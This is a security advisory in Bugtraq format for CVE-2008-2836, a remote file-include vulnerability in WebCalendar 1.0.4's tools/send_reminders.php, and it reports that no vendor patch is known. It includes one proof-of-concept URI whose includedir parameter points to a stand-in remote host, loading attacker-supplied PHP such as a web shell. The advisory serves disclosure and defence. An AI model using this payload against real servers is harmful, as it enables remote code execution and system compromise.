WebCalendar 'tools/send_reminders.php' Remote File Include Vulnerability

Bugtraq ID:	29783
Class:	Input Validation Error
CVE:	CVE-2008-2836
Remote:	Yes
Local:	No
Published:	Jun 17 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	Cr@zy_King
Vulnerable:	k5n WebCalendar 1.0.4
Not Vulnerable:

WebCalendar 'tools/send_reminders.php' Remote File Include Vulnerability

WebCalendar is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit this issue to execute malicious PHP code in the context of the webserver process. This may facilitate a compromise of the application and the underlying system; other attacks are also possible.

WebCalendar 1.0.4 is vulnerable; other versions may be affected as well.

WebCalendar 'tools/send_reminders.php' Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/patch/tools/send_reminders.php?noSet=0&includedir=http://sheLLz?

WebCalendar 'tools/send_reminders.php' Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

WebCalendar 'tools/send_reminders.php' Remote File Include Vulnerability

References:

• Vendor Homepage (k5n)